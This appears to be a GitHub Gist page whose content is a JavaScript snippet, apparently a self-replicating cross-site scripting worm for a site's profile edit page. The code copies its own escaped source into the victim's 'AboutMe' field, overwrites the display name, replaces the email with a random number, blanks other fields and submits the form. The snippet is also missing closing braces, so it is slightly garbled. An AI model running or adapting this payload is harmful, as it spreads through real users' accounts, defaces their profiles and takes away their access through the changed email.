Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
f: function() {
var cleanSource, form, m, source, userid;
source = "({f:" + this.f + "}).f()";
cleanSource = "eval(unescape(" + (JSON.stringify(escape(String(source)))) + "));";
if (!(m = /\/users\/edit\/(\d+)($|\/)/.exec(location.pathname))) {
throw new Error('must run on profile edit page');
userid = +m[1];
form = $('form#user-edit-form');
$('[name=DisplayName]', form).val("user" + userid);
$('[name=Email]', form).val("" + (String(Math.random()).substr(2)) + "");
$('[name=RealName]', form).val('');
$('[name=Location]', form).val('');
$('[name=Birthday]', form).val('');
$('[name=AboutMe]', form).val("<!--\n" + cleanSource + "\n-->");
return form.submit();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.